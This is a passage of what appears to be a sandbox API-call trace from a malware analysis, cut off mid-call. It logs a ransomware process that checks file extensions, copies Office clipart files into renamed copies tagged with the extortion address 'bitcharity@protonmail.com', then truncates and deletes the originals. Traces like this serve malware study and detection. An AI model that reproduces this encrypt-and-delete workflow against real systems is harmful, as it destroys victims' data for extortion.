Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.560] lstrlenW (lpString=".doc") returned 4 [0294.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.560] lstrlenW (lpString=".docx") returned 5 [0294.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.560] lstrlenW (lpString=".pdf") returned 4 [0294.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.560] lstrlenW (lpString=".xls") returned 4 [0294.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.561] lstrlenW (lpString=".xlsx") returned 5 [0294.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.561] lstrlenW (lpString=".ppt") returned 4 [0294.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.561] lstrlenW (lpString=".zip") returned 4 [0294.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.561] lstrlenW (lpString=".rar") returned 4 [0294.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.561] lstrlenW (lpString=".bz2") returned 4 [0294.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.561] lstrlenW (lpString=".7z") returned 3 [0294.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.561] lstrlenW (lpString=".dbf") returned 4 [0294.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.561] lstrlenW (lpString=".1cd") returned 4 [0294.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.561] lstrlenW (lpString=".jpg") returned 4 [0294.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.561] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.561] lstrlenW (lpString="DD01039_.WMF") returned 12 [0294.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0294.562] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=14820) returned 1 [0294.562] CloseHandle (hObject=0x10bc) returned 1 [0294.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0294.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0294.562] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.562] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0294.563] GetLastError () returned 0x0 [0294.563] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x39e4, lpOverlapped=0x0) returned 1 [0294.708] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x39f0, lpOverlapped=0x0) returned 1 [0294.709] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.709] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.709] SetEndOfFile (hFile=0x10dc) returned 1 [0294.709] CloseHandle (hObject=0x10dc) returned 1 [0294.710] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.710] SetEndOfFile (hFile=0x10bc) returned 1 [0294.710] CloseHandle (hObject=0x10bc) returned 1 [0294.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0294.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.711] lstrlenW (lpString=".doc") returned 4 [0294.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.711] lstrlenW (lpString=".docx") returned 5 [0294.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.711] lstrlenW (lpString=".pdf") returned 4 [0294.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.711] lstrlenW (lpString=".xls") returned 4 [0294.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.711] lstrlenW (lpString=".xlsx") returned 5 [0294.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.711] lstrlenW (lpString=".ppt") returned 4 [0294.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.711] lstrlenW (lpString=".zip") returned 4 [0294.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.711] lstrlenW (lpString=".rar") returned 4 [0294.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.711] lstrlenW (lpString=".bz2") returned 4 [0294.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.711] lstrlenW (lpString=".7z") returned 3 [0294.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.712] lstrlenW (lpString=".dbf") returned 4 [0294.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.712] lstrlenW (lpString=".1cd") returned 4 [0294.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.712] lstrlenW (lpString=".jpg") returned 4 [0294.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.712] lstrlenW (lpString=".doc") returned 4 [0294.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.712] lstrlenW (lpString=".docx") returned 5 [0294.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.712] lstrlenW (lpString=".pdf") returned 4 [0294.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.712] lstrlenW (lpString=".xls") returned 4 [0294.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.712] lstrlenW (lpString=".xlsx") returned 5 [0294.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.712] lstrlenW (lpString=".ppt") returned 4 [0294.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.712] lstrlenW (lpString=".zip") returned 4 [0294.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.712] lstrlenW (lpString=".rar") returned 4 [0294.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.712] lstrlenW (lpString=".bz2") returned 4 [0294.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.713] lstrlenW (lpString=".7z") returned 3 [0294.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.713] lstrlenW (lpString=".dbf") returned 4 [0294.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.713] lstrlenW (lpString=".1cd") returned 4 [0294.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0294.713] lstrlenW (lpString=".jpg") returned 4 [0294.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.713] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.713] lstrlenW (lpString="DD01143_.WMF") returned 12 [0294.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0294.713] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=2140) returned 1 [0294.713] CloseHandle (hObject=0x10bc) returned 1 [0294.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0294.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0294.714] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.714] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0294.714] GetLastError () returned 0x0 [0294.714] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x85c, lpOverlapped=0x0) returned 1 [0295.183] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x860, lpOverlapped=0x0) returned 1 [0295.184] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.184] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.184] SetEndOfFile (hFile=0x10dc) returned 1 [0295.185] CloseHandle (hObject=0x10dc) returned 1 [0295.185] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.185] SetEndOfFile (hFile=0x10bc) returned 1 [0295.185] CloseHandle (hObject=0x10bc) returned 1 [0295.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0295.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0295.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.186] lstrlenW (lpString=".doc") returned 4 [0295.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString=".docx") returned 5 [0295.186] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.186] lstrlenW (lpString=".pdf") returned 4 [0295.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString=".xls") returned 4 [0295.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.186] lstrlenW (lpString=".xlsx") returned 5 [0295.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.186] lstrlenW (lpString=".ppt") returned 4 [0295.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.186] lstrlenW (lpString=".zip") returned 4 [0295.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.186] lstrlenW (lpString=".rar") returned 4 [0295.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString=".bz2") returned 4 [0295.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString=".7z") returned 3 [0295.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.186] lstrlenW (lpString=".dbf") returned 4 [0295.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.186] lstrlenW (lpString=".1cd") returned 4 [0295.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.186] lstrlenW (lpString=".jpg") returned 4 [0295.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.187] lstrlenW (lpString=".doc") returned 4 [0295.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.187] lstrlenW (lpString=".docx") returned 5 [0295.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.187] lstrlenW (lpString=".pdf") returned 4 [0295.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.187] lstrlenW (lpString=".xls") returned 4 [0295.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.187] lstrlenW (lpString=".xlsx") returned 5 [0295.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.187] lstrlenW (lpString=".ppt") returned 4 [0295.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.187] lstrlenW (lpString=".zip") returned 4 [0295.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.187] lstrlenW (lpString=".rar") returned 4 [0295.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.187] lstrlenW (lpString=".bz2") returned 4 [0295.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.187] lstrlenW (lpString=".7z") returned 3 [0295.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.187] lstrlenW (lpString=".dbf") returned 4 [0295.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.187] lstrlenW (lpString=".1cd") returned 4 [0295.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0295.187] lstrlenW (lpString=".jpg") returned 4 [0295.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.187] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0295.187] lstrlenW (lpString="DD01157_.WMF") returned 12 [0295.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0295.188] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=3588) returned 1 [0295.188] CloseHandle (hObject=0x10bc) returned 1 [0295.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0295.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0295.188] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.188] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0295.189] GetLastError () returned 0x0 [0295.189] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0xe04, lpOverlapped=0x0) returned 1 [0295.265] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xe10, lpOverlapped=0x0) returned 1 [0295.266] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.266] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.266] SetEndOfFile (hFile=0x10dc) returned 1 [0295.266] CloseHandle (hObject=0x10dc) returned 1 [0295.295] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.295] SetEndOfFile (hFile=0x10bc) returned 1 [0295.296] CloseHandle (hObject=0x10bc) returned 1 [0295.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0295.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0295.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.297] lstrlenW (lpString=".doc") returned 4 [0295.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.297] lstrlenW (lpString=".docx") returned 5 [0295.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.297] lstrlenW (lpString=".pdf") returned 4 [0295.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.297] lstrlenW (lpString=".xls") returned 4 [0295.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.297] lstrlenW (lpString=".xlsx") returned 5 [0295.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.297] lstrlenW (lpString=".ppt") returned 4 [0295.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.297] lstrlenW (lpString=".zip") returned 4 [0295.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.297] lstrlenW (lpString=".rar") returned 4 [0295.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.297] lstrlenW (lpString=".bz2") returned 4 [0295.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.297] lstrlenW (lpString=".7z") returned 3 [0295.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.297] lstrlenW (lpString=".dbf") returned 4 [0295.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.298] lstrlenW (lpString=".1cd") returned 4 [0295.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.298] lstrlenW (lpString=".jpg") returned 4 [0295.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.298] lstrlenW (lpString=".doc") returned 4 [0295.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.298] lstrlenW (lpString=".docx") returned 5 [0295.298] lstrcmpiW 